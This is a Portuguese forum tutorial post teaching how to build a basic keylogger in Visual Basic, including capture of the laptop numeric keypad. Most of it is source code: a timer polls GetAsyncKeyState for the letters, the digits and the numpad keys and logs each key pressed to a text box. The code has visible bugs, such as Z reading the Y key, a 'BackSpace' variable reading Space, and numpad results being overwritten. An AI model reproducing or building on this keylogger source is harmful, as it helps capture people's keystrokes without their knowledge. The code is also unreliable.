Keylogger Basico + Como Pegar o teclado numérico do Notebook

[-TranziT- 0]

Fala Galerinha, Aqui é o -TranziT-, e hoje venho trazendo para vocês mais um tutorial de Visual Basic.

 

*Como Fazer um Keylogger

*Como pegar o teclado numérico dos notebook's

 

Vídeo Aula:

Código Completo com as Letras:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

ou

'Dentro do Timer

Dim BackSpace As Boolean

Dim A As Boolean

Dim B As Boolean

Dim C As Boolean

Dim D As Boolean

Dim E As Boolean

Dim F As Boolean

Dim G As Boolean

Dim H As Boolean

Dim I As Boolean

Dim J As Boolean

Dim K As Boolean

Dim L As Boolean

Dim M As Boolean

Dim N As Boolean

Dim O As Boolean

Dim P As Boolean

Dim Q As Boolean

Dim R As Boolean

Dim S As Boolean

Dim T As Boolean

Dim U As Boolean

Dim V As Boolean

Dim W As Boolean

Dim X As Boolean

Dim Y As Boolean

Dim Z As Boolean

'----------------

BackSpace = GetAsyncKeyState(Keys.Space)

A = GetAsyncKeyState(Keys.A)

B = GetAsyncKeyState(Keys.B)

C = GetAsyncKeyState(Keys.C)

D = GetAsyncKeyState(Keys.D)

E = GetAsyncKeyState(Keys.E)

F = GetAsyncKeyState(Keys.F)

G = GetAsyncKeyState(Keys.G)

H = GetAsyncKeyState(Keys.H)

I = GetAsyncKeyState(Keys.I)

J = GetAsyncKeyState(Keys.J)

K = GetAsyncKeyState(Keys.K)

L = GetAsyncKeyState(Keys.L)

M = GetAsyncKeyState(Keys.M)

N = GetAsyncKeyState(Keys.N)

O = GetAsyncKeyState(Keys.O)

P = GetAsyncKeyState(Keys.P)

Q = GetAsyncKeyState(Keys.Q)

R = GetAsyncKeyState(Keys.R)

S = GetAsyncKeyState(Keys.S)

T = GetAsyncKeyState(Keys.T)

U = GetAsyncKeyState(Keys.U)

V = GetAsyncKeyState(Keys.V)

W = GetAsyncKeyState(Keys.W)

X = GetAsyncKeyState(Keys.X)

Y = GetAsyncKeyState(Keys.Y)

Z = GetAsyncKeyState(Keys.Y)

'-----------------

Dim Num0 As Boolean

Dim Num1 As Boolean

Dim Num2 As Boolean

Dim Num3 As Boolean

Dim Num4 As Boolean

Dim Num5 As Boolean

Dim Num6 As Boolean

Dim Num7 As Boolean

Dim Num8 As Boolean

Dim Num9 As Boolean

'----------------

Num0 = GetAsyncKeyState(Keys.NumPad0)

Num1 = GetAsyncKeyState(Keys.NumPad1)

Num2 = GetAsyncKeyState(Keys.NumPad2)

Num3 = GetAsyncKeyState(Keys.NumPad3)

Num4 = GetAsyncKeyState(Keys.NumPad4)

Num5 = GetAsyncKeyState(Keys.NumPad5)

Num6 = GetAsyncKeyState(Keys.NumPad6)

Num7 = GetAsyncKeyState(Keys.NumPad7)

Num8 = GetAsyncKeyState(Keys.NumPad8)

Num9 = GetAsyncKeyState(Keys.NumPad9)

'-----------------

Num0 = GetAsyncKeyState(Keys.D0)

Num1 = GetAsyncKeyState(Keys.D1)

Num2 = GetAsyncKeyState(Keys.D2)

Num3 = GetAsyncKeyState(Keys.D3)

Num4 = GetAsyncKeyState(Keys.D4)

Num5 = GetAsyncKeyState(Keys.D5)

Num6 = GetAsyncKeyState(Keys.D6)

Num7 = GetAsyncKeyState(Keys.D7)

Num8 = GetAsyncKeyState(Keys.D8)

Num9 = GetAsyncKeyState(Keys.D9)

'-----------------

If A = True Then

RichTextBox1.SelectedText = "A"

ElseIf B = True Then

RichTextBox1.SelectedText = "B"

ElseIf C = True Then

RichTextBox1.SelectedText = "C"

ElseIf D = True Then

RichTextBox1.SelectedText = "D"

ElseIf E = True Then

RichTextBox1.SelectedText = "E"

ElseIf F = True Then

RichTextBox1.SelectedText = "F"

ElseIf G = True Then

RichTextBox1.SelectedText = "G"

ElseIf H = True Then

RichTextBox1.SelectedText = "H"

ElseIf I = True Then

RichTextBox1.SelectedText = "I"

ElseIf J = True Then

RichTextBox1.SelectedText = "J"

ElseIf K = True Then

RichTextBox1.SelectedText = "K"

ElseIf L = True Then

RichTextBox1.SelectedText = "L"

ElseIf M = True Then

RichTextBox1.SelectedText = "M"

ElseIf N = True Then

RichTextBox1.SelectedText = "N"

ElseIf O = True Then

RichTextBox1.SelectedText = "O"

ElseIf P = True Then

RichTextBox1.SelectedText = "P"

ElseIf Q = True Then

RichTextBox1.SelectedText = "Q"

ElseIf R = True Then

RichTextBox1.SelectedText = "R"

ElseIf S = True Then

RichTextBox1.SelectedText = "S"

ElseIf T = True Then

RichTextBox1.SelectedText = "T"

ElseIf U = True Then

RichTextBox1.SelectedText = "U"

ElseIf V = True Then

RichTextBox1.SelectedText = "V"

ElseIf W = True Then

RichTextBox1.SelectedText = "W"

ElseIf X = True Then

RichTextBox1.SelectedText = "X"

ElseIf Y = True Then

RichTextBox1.SelectedText = "Y"

ElseIf Z = True Then

RichTextBox1.SelectedText = "Z"

ElseIf BackSpace = True Then

RichTextBox1.SelectedText = " "

ElseIf Num0 = True Then

RichTextBox1.SelectedText = "0"

ElseIf Num1 = True Then

RichTextBox1.SelectedText = "1"

ElseIf Num2 = True Then

RichTextBox1.SelectedText = "2"

ElseIf Num3 = True Then

RichTextBox1.SelectedText = "3"

ElseIf Num4 = True Then

RichTextBox1.SelectedText = "4"

ElseIf Num5 = True Then

RichTextBox1.SelectedText = "5"

ElseIf Num6 = True Then

RichTextBox1.SelectedText = "6"

ElseIf Num7 = True Then

RichTextBox1.SelectedText = "7"

ElseIf Num8 = True Then

RichTextBox1.SelectedText = "8"

ElseIf Num9 = True Then

RichTextBox1.SelectedText = "9"

End If

 

Creditos: -TranziT-